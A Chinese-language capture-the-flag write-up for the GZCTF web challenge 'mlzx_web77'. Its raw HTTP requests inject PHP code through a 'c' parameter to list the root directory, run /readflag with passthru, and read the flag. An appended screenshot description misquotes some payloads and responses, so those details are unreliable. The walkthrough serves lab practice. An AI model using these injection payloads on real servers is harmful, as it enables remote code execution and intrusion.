

# mlzx\_web77

## Note

[GZCTF-challenges/mlzx/mlzx\\_web77](https://github.com/GZCTF/challenges/mlzx/mlzx_web77)

### 1. 获取根目录信息

请求包

```
1 POST / HTTP/1.1
2 Host: IP:PORT
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=?><?php $a=new DirectoryIterator("glob:///");foreach($a as $f)
  {echo($f->__toString().',');}exit(0);?>
```

响应包

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0
3 Date: Tue, 09 Dec 2025 09:04:47 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
7 Access-Control-Allow-Credentials: true
8 Access-Control-Expose-Headers: Content-
  Type,Cookies,Aaa,Date,Server,Content-Length,Connection
9 Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-
  Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-
  Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-
  Length,Connection
10 Access-Control-Max-Age: 1728000
11 Content-Length: 98
12
13 bin,dev,entrypoint.sh,etc,home,lib,media,mnt,opt,proc,readflag,root,
  run,sbin,srv,sys,tmp,usr,var,
```

## 2. 调用 `readflag` 输出 `flag`

请求包

```
1 POST / HTTP/1.1
2 Host: IP:PORT
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=passthru('/readflag > /var/www/html/flag.txt');exit;
```

响应包

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0
3 Date: Tue, 09 Dec 2025 09:04:52 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
7 Access-Control-Allow-Credentials: true
8 Access-Control-Expose-Headers: Content-
  Type,Cookies,Aaa,Date,Server,Content-Length,Connection
9 Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-
  Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-
  Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-
  Length,Connection
10 Access-Control-Max-Age: 1728000
11
```

## 3. 访问存放 `flag` 的文件

请求包

```
1 POST / HTTP/1.1
2 Host: IP:PORT
3 Content-Type: application/x-www-form-urlencoded
4 Content-Length: 31
5
6 c=readgzfile("flag.txt");exit;
```

响应包

```
1 HTTP/1.1 200 OK
2 Server: nginx/1.18.0
3 Date: Tue, 09 Dec 2025 09:26:53 GMT
4 Content-Type: text/html; charset=UTF-8
5 Connection: keep-alive
6 Access-Control-Allow-Methods: GET,POST,PUT,DELETE,OPTIONS
7 Access-Control-Allow-Credentials: true
8 Access-Control-Expose-Headers: Content-
  Type,Cookies,Aaa,Date,Server,Content-Length,Connection
9 Access-Control-Allow-Headers: DNT,X-CustomHeader,Keep-Alive,User-
  Agent,X-Requested-With,If-Modified-Since,Cache-Control,Content-
  Type,Authorization,x-auth-token,Cookies,Aaa,Date,Server,Content-
  Length,Connection
10 Access-Control-Max-Age: 1728000
11 Content-Length: 31
12
13 flag{GZCTF_dynamic_flag_test}}
```

The image displays three sequential screenshots of a web browser's developer tools, specifically the 'Request' and 'Response' tabs, illustrating a directory traversal attack and its successful execution.

**First Screenshot:** The 'Request' tab shows a POST request to `/HTTP/1.1` with a payload: `c=>><?php $a=new DirectoryIterator("glob:/**/*");foreach($a as $f){echo($f->__toString().','.'');}exit(0);?>`. The 'Response' tab shows a 200 OK status with headers including `Server: nginx/1.18.0`, `Date: Tue, 09 Dec 2025 09:04:47 GMT`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 98`. The response body is partially visible, showing `bin,dev,entrypoint.sh,etc,home,lib,media,mnt,opt,proc,readflag,root,run,sbin,src,sys,tmp,usr,var,`.

**Second Screenshot:** The 'Request' tab shows a POST request to `/HTTP/1.1` with a payload: `c=pass thru('/readflag->/var/www/html/flag.txt');exit;`. The 'Response' tab shows a 200 OK status with headers including `Server: nginx/1.18.0`, `Date: Tue, 09 Dec 2025 09:04:52 GMT`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 98`. The response body is partially visible, showing `bin,dev,entrypoint.sh,etc,home,lib,media,mnt,opt,proc,readflag,root,run,sbin,src,sys,tmp,usr,var,`.

**Third Screenshot:** The 'Request' tab shows a POST request to `/HTTP/1.1` with a payload: `c=readgzfile('flag.txt');exit;`. The 'Response' tab shows a 200 OK status with headers including `Server: nginx/1.18.0`, `Date: Tue, 09 Dec 2025 09:26:53 GMT`, `Content-Type: text/html; charset=UTF-8`, and `Content-Length: 31`. The response body is `flag{GZCTF_dynamic_flag_test}`.